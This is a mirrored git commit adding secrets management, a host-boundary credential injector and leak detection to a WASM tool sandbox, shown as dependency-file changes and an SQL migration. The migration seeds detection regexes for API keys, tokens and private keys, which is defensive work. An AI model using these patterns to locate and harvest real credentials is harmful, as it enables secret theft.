mirror of
https://github.com/outbackdingo/optimclaw.git
synced 2026-08-25 14:53:34 +00:00
Add WASM sandbox secure API extension
Extends the WASM sandbox with HTTP API capabilities, secrets management, tool aliasing, and leak detection. Key security principle: WASM never sees credentials, injection happens at host boundary. New modules: - secrets: AES-256-GCM encrypted storage with HKDF key derivation - leak_detector: Aho-Corasick + regex pattern matching for secret exfiltration - capabilities: Extended capability system (HTTP, ToolInvoke, Secrets) - allowlist: HTTP endpoint validation with glob patterns - credential_injector: Host-boundary credential injection - rate_limiter: Sliding window per-tool rate limiting - storage: WASM binary storage with BLAKE3 integrity verification Leak detection happens at two points: 1. Before HTTP request (prevents exfiltration via URL/headers/body) 2. After response (prevents exposure in outputs returned to WASM) Co-Authored-By: Claude Opus 4.5 <[email protected]>
This commit is contained in:
Illia Polosukhin
co-authored by
Claude Opus 4.5
Claude Opus 4.5
parent
45bbfa026d
commit
32bfd24154
Generated
+142
@@ -11,6 +11,41 @@ dependencies = [
|
|||||||
"gimli",
|
"gimli",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aead"
|
||||||
|
version = "0.5.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0"
|
||||||
|
dependencies = [
|
||||||
|
"crypto-common",
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aes"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cipher",
|
||||||
|
"cpufeatures",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aes-gcm"
|
||||||
|
version = "0.10.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1"
|
||||||
|
dependencies = [
|
||||||
|
"aead",
|
||||||
|
"aes",
|
||||||
|
"cipher",
|
||||||
|
"ctr",
|
||||||
|
"ghash",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ahash"
|
name = "ahash"
|
||||||
version = "0.7.8"
|
version = "0.7.8"
|
||||||
@@ -129,6 +164,12 @@ version = "1.4.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "c3d036a3c4ab069c7b410a2ce876bd74808d2d0888a82667669f8e783a898bf1"
|
checksum = "c3d036a3c4ab069c7b410a2ce876bd74808d2d0888a82667669f8e783a898bf1"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "arrayref"
|
||||||
|
version = "0.3.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "76a2e8124351fda1ef8aaaa3bbd7ebbcb486bbcd4225aca0aa0d84bb2db8fecb"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "arrayvec"
|
name = "arrayvec"
|
||||||
version = "0.7.6"
|
version = "0.7.6"
|
||||||
@@ -246,6 +287,20 @@ dependencies = [
|
|||||||
"wyz",
|
"wyz",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "blake3"
|
||||||
|
version = "1.8.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2468ef7d57b3fb7e16b576e8377cdbde2320c60e1491e961d11da40fc4f02a2d"
|
||||||
|
dependencies = [
|
||||||
|
"arrayref",
|
||||||
|
"arrayvec",
|
||||||
|
"cc",
|
||||||
|
"cfg-if",
|
||||||
|
"constant_time_eq",
|
||||||
|
"cpufeatures",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "block-buffer"
|
name = "block-buffer"
|
||||||
version = "0.10.4"
|
version = "0.10.4"
|
||||||
@@ -409,6 +464,16 @@ dependencies = [
|
|||||||
"windows-link",
|
"windows-link",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cipher"
|
||||||
|
version = "0.4.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||||
|
dependencies = [
|
||||||
|
"crypto-common",
|
||||||
|
"inout",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clap"
|
name = "clap"
|
||||||
version = "4.5.56"
|
version = "4.5.56"
|
||||||
@@ -464,6 +529,12 @@ version = "1.0.4"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75"
|
checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "constant_time_eq"
|
||||||
|
version = "0.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3d52eff69cd5e647efe296129160853a42795992097e8af39800e1060caeea9b"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "core-foundation"
|
name = "core-foundation"
|
||||||
version = "0.10.1"
|
version = "0.10.1"
|
||||||
@@ -646,9 +717,19 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a"
|
checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"generic-array",
|
"generic-array",
|
||||||
|
"rand_core 0.6.4",
|
||||||
"typenum",
|
"typenum",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ctr"
|
||||||
|
version = "0.9.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
|
||||||
|
dependencies = [
|
||||||
|
"cipher",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "darling"
|
name = "darling"
|
||||||
version = "0.21.3"
|
version = "0.21.3"
|
||||||
@@ -1068,6 +1149,16 @@ dependencies = [
|
|||||||
"wasm-bindgen",
|
"wasm-bindgen",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ghash"
|
||||||
|
version = "0.5.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1"
|
||||||
|
dependencies = [
|
||||||
|
"opaque-debug",
|
||||||
|
"polyval",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "gimli"
|
name = "gimli"
|
||||||
version = "0.31.1"
|
version = "0.31.1"
|
||||||
@@ -1131,6 +1222,15 @@ version = "0.4.3"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
|
checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "hkdf"
|
||||||
|
version = "0.12.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7"
|
||||||
|
dependencies = [
|
||||||
|
"hmac",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "hmac"
|
name = "hmac"
|
||||||
version = "0.12.1"
|
version = "0.12.1"
|
||||||
@@ -1447,6 +1547,15 @@ dependencies = [
|
|||||||
"serde_core",
|
"serde_core",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "inout"
|
||||||
|
version = "0.1.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ipnet"
|
name = "ipnet"
|
||||||
version = "2.11.0"
|
version = "2.11.0"
|
||||||
@@ -1674,18 +1783,22 @@ dependencies = [
|
|||||||
name = "near-agent"
|
name = "near-agent"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"aes-gcm",
|
||||||
"aho-corasick",
|
"aho-corasick",
|
||||||
"anyhow",
|
"anyhow",
|
||||||
"async-trait",
|
"async-trait",
|
||||||
"axum",
|
"axum",
|
||||||
|
"blake3",
|
||||||
"chrono",
|
"chrono",
|
||||||
"clap",
|
"clap",
|
||||||
"deadpool-postgres",
|
"deadpool-postgres",
|
||||||
"dotenvy",
|
"dotenvy",
|
||||||
"futures",
|
"futures",
|
||||||
|
"hkdf",
|
||||||
"pgvector",
|
"pgvector",
|
||||||
"postgres-types",
|
"postgres-types",
|
||||||
"pretty_assertions",
|
"pretty_assertions",
|
||||||
|
"rand 0.8.5",
|
||||||
"refinery",
|
"refinery",
|
||||||
"regex",
|
"regex",
|
||||||
"reqwest",
|
"reqwest",
|
||||||
@@ -1694,6 +1807,7 @@ dependencies = [
|
|||||||
"secrecy",
|
"secrecy",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_json",
|
"serde_json",
|
||||||
|
"sha2",
|
||||||
"testcontainers-modules",
|
"testcontainers-modules",
|
||||||
"thiserror 2.0.18",
|
"thiserror 2.0.18",
|
||||||
"tokio",
|
"tokio",
|
||||||
@@ -1775,6 +1889,12 @@ version = "1.70.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe"
|
checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "opaque-debug"
|
||||||
|
version = "0.3.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "openssl-probe"
|
name = "openssl-probe"
|
||||||
version = "0.2.1"
|
version = "0.2.1"
|
||||||
@@ -1888,6 +2008,18 @@ version = "0.3.32"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c"
|
checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "polyval"
|
||||||
|
version = "0.6.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9d1fe60d06143b2430aa532c94cfe9e29783047f06c0d7fd359a9a51b729fa25"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cpufeatures",
|
||||||
|
"opaque-debug",
|
||||||
|
"universal-hash",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "postcard"
|
name = "postcard"
|
||||||
version = "1.1.3"
|
version = "1.1.3"
|
||||||
@@ -3459,6 +3591,16 @@ version = "0.2.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "universal-hash"
|
||||||
|
version = "0.5.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea"
|
||||||
|
dependencies = [
|
||||||
|
"crypto-common",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "untrusted"
|
name = "untrusted"
|
||||||
version = "0.9.0"
|
version = "0.9.0"
|
||||||
|
|||||||
@@ -67,6 +67,13 @@ pgvector = { version = "0.4", features = ["postgres"] }
|
|||||||
# WASM sandbox for untrusted tool execution
|
# WASM sandbox for untrusted tool execution
|
||||||
wasmtime = { version = "28", features = ["component-model"] }
|
wasmtime = { version = "28", features = ["component-model"] }
|
||||||
|
|
||||||
|
# Cryptography for secrets management
|
||||||
|
aes-gcm = "0.10"
|
||||||
|
hkdf = "0.12"
|
||||||
|
sha2 = "0.10"
|
||||||
|
blake3 = "1"
|
||||||
|
rand = "0.8"
|
||||||
|
|
||||||
[dev-dependencies]
|
[dev-dependencies]
|
||||||
tokio-test = "0.4"
|
tokio-test = "0.4"
|
||||||
testcontainers-modules = { version = "0.11", features = ["postgres"] }
|
testcontainers-modules = { version = "0.11", features = ["postgres"] }
|
||||||
|
|||||||
@@ -0,0 +1,322 @@
|
|||||||
|
-- WASM Secure API Extension
|
||||||
|
-- V2: Secrets management, WASM tool storage, capabilities, and leak detection
|
||||||
|
|
||||||
|
-- ==================== Secrets ====================
|
||||||
|
-- Encrypted secret storage for credential injection into WASM HTTP requests.
|
||||||
|
-- WASM tools NEVER see plaintext secrets; injection happens at host boundary.
|
||||||
|
|
||||||
|
CREATE TABLE secrets (
|
||||||
|
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||||
|
user_id TEXT NOT NULL,
|
||||||
|
name TEXT NOT NULL,
|
||||||
|
|
||||||
|
-- AES-256-GCM encrypted value (nonce || ciphertext || tag)
|
||||||
|
encrypted_value BYTEA NOT NULL,
|
||||||
|
-- Per-secret key derivation salt (for HKDF)
|
||||||
|
key_salt BYTEA NOT NULL,
|
||||||
|
|
||||||
|
-- Optional metadata
|
||||||
|
provider TEXT, -- e.g., "openai", "anthropic", "stripe"
|
||||||
|
expires_at TIMESTAMPTZ,
|
||||||
|
last_used_at TIMESTAMPTZ,
|
||||||
|
usage_count BIGINT NOT NULL DEFAULT 0,
|
||||||
|
|
||||||
|
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||||
|
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||||
|
|
||||||
|
CONSTRAINT unique_secret_per_user UNIQUE (user_id, name)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE INDEX idx_secrets_user ON secrets(user_id);
|
||||||
|
CREATE INDEX idx_secrets_provider ON secrets(provider) WHERE provider IS NOT NULL;
|
||||||
|
CREATE INDEX idx_secrets_expires ON secrets(expires_at) WHERE expires_at IS NOT NULL;
|
||||||
|
|
||||||
|
-- Trigger to update updated_at
|
||||||
|
CREATE TRIGGER update_secrets_updated_at
|
||||||
|
BEFORE UPDATE ON secrets
|
||||||
|
FOR EACH ROW
|
||||||
|
EXECUTE FUNCTION update_updated_at_column();
|
||||||
|
|
||||||
|
-- ==================== WASM Tools ====================
|
||||||
|
-- Store compiled WASM binaries with integrity verification.
|
||||||
|
|
||||||
|
CREATE TABLE wasm_tools (
|
||||||
|
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||||
|
user_id TEXT NOT NULL,
|
||||||
|
name TEXT NOT NULL,
|
||||||
|
version TEXT NOT NULL DEFAULT '1.0.0',
|
||||||
|
|
||||||
|
description TEXT NOT NULL,
|
||||||
|
wasm_binary BYTEA NOT NULL,
|
||||||
|
-- BLAKE3 hash for integrity verification on load
|
||||||
|
binary_hash BYTEA NOT NULL,
|
||||||
|
parameters_schema JSONB NOT NULL,
|
||||||
|
|
||||||
|
-- Provenance
|
||||||
|
source_url TEXT,
|
||||||
|
-- Trust levels: 'system' (built-in), 'verified' (audited), 'user' (untrusted)
|
||||||
|
trust_level TEXT NOT NULL DEFAULT 'user',
|
||||||
|
|
||||||
|
-- Status: 'active', 'disabled', 'quarantined'
|
||||||
|
status TEXT NOT NULL DEFAULT 'active',
|
||||||
|
|
||||||
|
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||||
|
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||||
|
|
||||||
|
CONSTRAINT unique_wasm_tool_version UNIQUE (user_id, name, version)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE INDEX idx_wasm_tools_user ON wasm_tools(user_id);
|
||||||
|
CREATE INDEX idx_wasm_tools_name ON wasm_tools(user_id, name);
|
||||||
|
CREATE INDEX idx_wasm_tools_status ON wasm_tools(status);
|
||||||
|
CREATE INDEX idx_wasm_tools_trust ON wasm_tools(trust_level);
|
||||||
|
|
||||||
|
CREATE TRIGGER update_wasm_tools_updated_at
|
||||||
|
BEFORE UPDATE ON wasm_tools
|
||||||
|
FOR EACH ROW
|
||||||
|
EXECUTE FUNCTION update_updated_at_column();
|
||||||
|
|
||||||
|
-- ==================== Tool Capabilities ====================
|
||||||
|
-- Fine-grained capability configuration per WASM tool.
|
||||||
|
-- Follows principle of least privilege.
|
||||||
|
|
||||||
|
CREATE TABLE tool_capabilities (
|
||||||
|
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||||
|
wasm_tool_id UUID NOT NULL REFERENCES wasm_tools(id) ON DELETE CASCADE,
|
||||||
|
|
||||||
|
-- HTTP capability: allowed endpoint patterns
|
||||||
|
-- Each pattern is: {"host": "api.example.com", "path_prefix": "/v1/", "methods": ["GET", "POST"]}
|
||||||
|
http_allowlist JSONB NOT NULL DEFAULT '[]',
|
||||||
|
|
||||||
|
-- Secrets this tool can use (injected at host boundary)
|
||||||
|
-- Tool never sees the actual secret values
|
||||||
|
allowed_secrets TEXT[] NOT NULL DEFAULT '{}',
|
||||||
|
|
||||||
|
-- Tool invocation aliases (indirection layer)
|
||||||
|
-- Maps alias name to real tool name, e.g., {"search": "brave_search"}
|
||||||
|
tool_aliases JSONB NOT NULL DEFAULT '{}',
|
||||||
|
|
||||||
|
-- Rate limiting
|
||||||
|
requests_per_minute INT NOT NULL DEFAULT 60,
|
||||||
|
requests_per_hour INT NOT NULL DEFAULT 1000,
|
||||||
|
|
||||||
|
-- Request/response size limits
|
||||||
|
max_request_body_bytes BIGINT NOT NULL DEFAULT 1048576, -- 1 MB
|
||||||
|
max_response_body_bytes BIGINT NOT NULL DEFAULT 10485760, -- 10 MB
|
||||||
|
|
||||||
|
-- Workspace access (path prefixes tool can read)
|
||||||
|
workspace_read_prefixes TEXT[] NOT NULL DEFAULT '{}',
|
||||||
|
|
||||||
|
-- Timeout for HTTP requests (seconds)
|
||||||
|
http_timeout_secs INT NOT NULL DEFAULT 30,
|
||||||
|
|
||||||
|
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||||
|
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||||
|
|
||||||
|
CONSTRAINT unique_capabilities_per_tool UNIQUE (wasm_tool_id)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE INDEX idx_tool_capabilities_tool ON tool_capabilities(wasm_tool_id);
|
||||||
|
|
||||||
|
CREATE TRIGGER update_tool_capabilities_updated_at
|
||||||
|
BEFORE UPDATE ON tool_capabilities
|
||||||
|
FOR EACH ROW
|
||||||
|
EXECUTE FUNCTION update_updated_at_column();
|
||||||
|
|
||||||
|
-- ==================== Leak Detection Patterns ====================
|
||||||
|
-- Patterns for detecting secret leakage in tool outputs.
|
||||||
|
-- Scanned before returning data to WASM or LLM.
|
||||||
|
|
||||||
|
CREATE TABLE leak_detection_patterns (
|
||||||
|
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||||
|
name TEXT NOT NULL UNIQUE,
|
||||||
|
|
||||||
|
-- Regex pattern for detection
|
||||||
|
pattern TEXT NOT NULL,
|
||||||
|
|
||||||
|
-- Severity: 'critical', 'high', 'medium', 'low'
|
||||||
|
severity TEXT NOT NULL DEFAULT 'high',
|
||||||
|
|
||||||
|
-- Action: 'block' (fail request), 'redact' (mask secret), 'warn' (log only)
|
||||||
|
action TEXT NOT NULL DEFAULT 'block',
|
||||||
|
|
||||||
|
enabled BOOLEAN NOT NULL DEFAULT true,
|
||||||
|
|
||||||
|
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE INDEX idx_leak_patterns_enabled ON leak_detection_patterns(enabled) WHERE enabled = true;
|
||||||
|
|
||||||
|
-- Pre-populate with common API key patterns
|
||||||
|
INSERT INTO leak_detection_patterns (name, pattern, severity, action) VALUES
|
||||||
|
-- OpenAI (sk-proj-... or sk-... followed by alphanumeric)
|
||||||
|
('openai_api_key', 'sk-(?:proj-)?[a-zA-Z0-9]{20,}(?:T3BlbkFJ[a-zA-Z0-9_-]*)?', 'critical', 'block'),
|
||||||
|
|
||||||
|
-- Anthropic (sk-ant-api followed by 90+ chars)
|
||||||
|
('anthropic_api_key', 'sk-ant-api[a-zA-Z0-9_-]{90,}', 'critical', 'block'),
|
||||||
|
|
||||||
|
-- AWS Access Key ID (starts with AKIA)
|
||||||
|
('aws_access_key', 'AKIA[0-9A-Z]{16}', 'critical', 'block'),
|
||||||
|
|
||||||
|
-- AWS Secret Access Key (40 char base64-ish)
|
||||||
|
('aws_secret_key', '(?<![A-Za-z0-9/+=])[A-Za-z0-9/+=]{40}(?![A-Za-z0-9/+=])', 'high', 'block'),
|
||||||
|
|
||||||
|
-- GitHub tokens (gh[pousr]_...)
|
||||||
|
('github_token', 'gh[pousr]_[A-Za-z0-9_]{36,}', 'critical', 'block'),
|
||||||
|
|
||||||
|
-- GitHub fine-grained PAT
|
||||||
|
('github_fine_grained_pat', 'github_pat_[a-zA-Z0-9]{22}_[a-zA-Z0-9]{59}', 'critical', 'block'),
|
||||||
|
|
||||||
|
-- Stripe keys (sk_live_... or sk_test_...)
|
||||||
|
('stripe_api_key', 'sk_(?:live|test)_[a-zA-Z0-9]{24,}', 'critical', 'block'),
|
||||||
|
|
||||||
|
-- NEAR AI session tokens
|
||||||
|
('nearai_session', 'sess_[a-zA-Z0-9]{32,}', 'critical', 'block'),
|
||||||
|
|
||||||
|
-- Generic Bearer tokens in headers
|
||||||
|
('bearer_token', 'Bearer\s+[a-zA-Z0-9_-]{20,}', 'high', 'redact'),
|
||||||
|
|
||||||
|
-- PEM private keys
|
||||||
|
('pem_private_key', '-----BEGIN\s+(?:RSA\s+)?PRIVATE\s+KEY-----', 'critical', 'block'),
|
||||||
|
|
||||||
|
-- SSH private keys
|
||||||
|
('ssh_private_key', '-----BEGIN\s+(?:OPENSSH|EC|DSA)\s+PRIVATE\s+KEY-----', 'critical', 'block'),
|
||||||
|
|
||||||
|
-- Google API keys
|
||||||
|
('google_api_key', 'AIza[0-9A-Za-z_-]{35}', 'high', 'block'),
|
||||||
|
|
||||||
|
-- Slack tokens
|
||||||
|
('slack_token', 'xox[baprs]-[0-9a-zA-Z-]{10,}', 'high', 'block'),
|
||||||
|
|
||||||
|
-- Discord tokens
|
||||||
|
('discord_token', '[MN][A-Za-z\d]{23,}\.[\w-]{6}\.[\w-]{27}', 'high', 'block'),
|
||||||
|
|
||||||
|
-- Twilio (starts with SK)
|
||||||
|
('twilio_api_key', 'SK[a-fA-F0-9]{32}', 'high', 'block'),
|
||||||
|
|
||||||
|
-- SendGrid
|
||||||
|
('sendgrid_api_key', 'SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}', 'high', 'block'),
|
||||||
|
|
||||||
|
-- Mailchimp
|
||||||
|
('mailchimp_api_key', '[a-f0-9]{32}-us[0-9]{1,2}', 'medium', 'block'),
|
||||||
|
|
||||||
|
-- Generic high-entropy strings (potential secrets) - careful with false positives
|
||||||
|
('high_entropy_hex', '(?<![a-fA-F0-9])[a-fA-F0-9]{64}(?![a-fA-F0-9])', 'medium', 'warn');
|
||||||
|
|
||||||
|
-- ==================== Rate Limit State ====================
|
||||||
|
-- Track rate limit consumption per tool per user.
|
||||||
|
|
||||||
|
CREATE TABLE tool_rate_limit_state (
|
||||||
|
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||||
|
wasm_tool_id UUID NOT NULL REFERENCES wasm_tools(id) ON DELETE CASCADE,
|
||||||
|
user_id TEXT NOT NULL,
|
||||||
|
|
||||||
|
-- Sliding window counters
|
||||||
|
minute_window_start TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||||
|
minute_count INT NOT NULL DEFAULT 0,
|
||||||
|
hour_window_start TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||||
|
hour_count INT NOT NULL DEFAULT 0,
|
||||||
|
|
||||||
|
CONSTRAINT unique_rate_limit_per_tool_user UNIQUE (wasm_tool_id, user_id)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE INDEX idx_rate_limit_tool ON tool_rate_limit_state(wasm_tool_id);
|
||||||
|
CREATE INDEX idx_rate_limit_user ON tool_rate_limit_state(user_id);
|
||||||
|
|
||||||
|
-- ==================== Secret Usage Audit Log ====================
|
||||||
|
-- Audit trail for secret access (credential injection events).
|
||||||
|
|
||||||
|
CREATE TABLE secret_usage_log (
|
||||||
|
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||||
|
secret_id UUID NOT NULL REFERENCES secrets(id) ON DELETE CASCADE,
|
||||||
|
wasm_tool_id UUID REFERENCES wasm_tools(id) ON DELETE SET NULL,
|
||||||
|
user_id TEXT NOT NULL,
|
||||||
|
|
||||||
|
-- What endpoint was the secret injected for
|
||||||
|
target_host TEXT NOT NULL,
|
||||||
|
target_path TEXT,
|
||||||
|
|
||||||
|
-- Result of the operation
|
||||||
|
success BOOLEAN NOT NULL,
|
||||||
|
error_message TEXT,
|
||||||
|
|
||||||
|
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE INDEX idx_secret_usage_secret ON secret_usage_log(secret_id);
|
||||||
|
CREATE INDEX idx_secret_usage_tool ON secret_usage_log(wasm_tool_id);
|
||||||
|
CREATE INDEX idx_secret_usage_user ON secret_usage_log(user_id);
|
||||||
|
CREATE INDEX idx_secret_usage_created ON secret_usage_log(created_at DESC);
|
||||||
|
|
||||||
|
-- Partition by month for large deployments (optional, commented out)
|
||||||
|
-- CREATE TABLE secret_usage_log_y2024m01 PARTITION OF secret_usage_log
|
||||||
|
-- FOR VALUES FROM ('2024-01-01') TO ('2024-02-01');
|
||||||
|
|
||||||
|
-- ==================== Leak Detection Events ====================
|
||||||
|
-- Log when potential secret leaks are detected and blocked.
|
||||||
|
|
||||||
|
CREATE TABLE leak_detection_events (
|
||||||
|
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||||
|
pattern_id UUID REFERENCES leak_detection_patterns(id) ON DELETE SET NULL,
|
||||||
|
wasm_tool_id UUID REFERENCES wasm_tools(id) ON DELETE SET NULL,
|
||||||
|
user_id TEXT NOT NULL,
|
||||||
|
|
||||||
|
-- Where the leak was detected
|
||||||
|
source TEXT NOT NULL, -- 'http_response', 'tool_output', 'log_message'
|
||||||
|
action_taken TEXT NOT NULL, -- 'blocked', 'redacted', 'warned'
|
||||||
|
|
||||||
|
-- Redacted context (no actual secrets stored)
|
||||||
|
context_preview TEXT, -- First 100 chars with secret masked
|
||||||
|
|
||||||
|
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE INDEX idx_leak_events_pattern ON leak_detection_events(pattern_id);
|
||||||
|
CREATE INDEX idx_leak_events_tool ON leak_detection_events(wasm_tool_id);
|
||||||
|
CREATE INDEX idx_leak_events_user ON leak_detection_events(user_id);
|
||||||
|
CREATE INDEX idx_leak_events_created ON leak_detection_events(created_at DESC);
|
||||||
|
|
||||||
|
-- ==================== Views ====================
|
||||||
|
|
||||||
|
-- View: Tools with their capabilities
|
||||||
|
CREATE VIEW wasm_tools_with_capabilities AS
|
||||||
|
SELECT
|
||||||
|
t.id,
|
||||||
|
t.user_id,
|
||||||
|
t.name,
|
||||||
|
t.version,
|
||||||
|
t.description,
|
||||||
|
t.trust_level,
|
||||||
|
t.status,
|
||||||
|
t.created_at,
|
||||||
|
t.updated_at,
|
||||||
|
c.http_allowlist,
|
||||||
|
c.allowed_secrets,
|
||||||
|
c.tool_aliases,
|
||||||
|
c.requests_per_minute,
|
||||||
|
c.requests_per_hour,
|
||||||
|
c.workspace_read_prefixes
|
||||||
|
FROM wasm_tools t
|
||||||
|
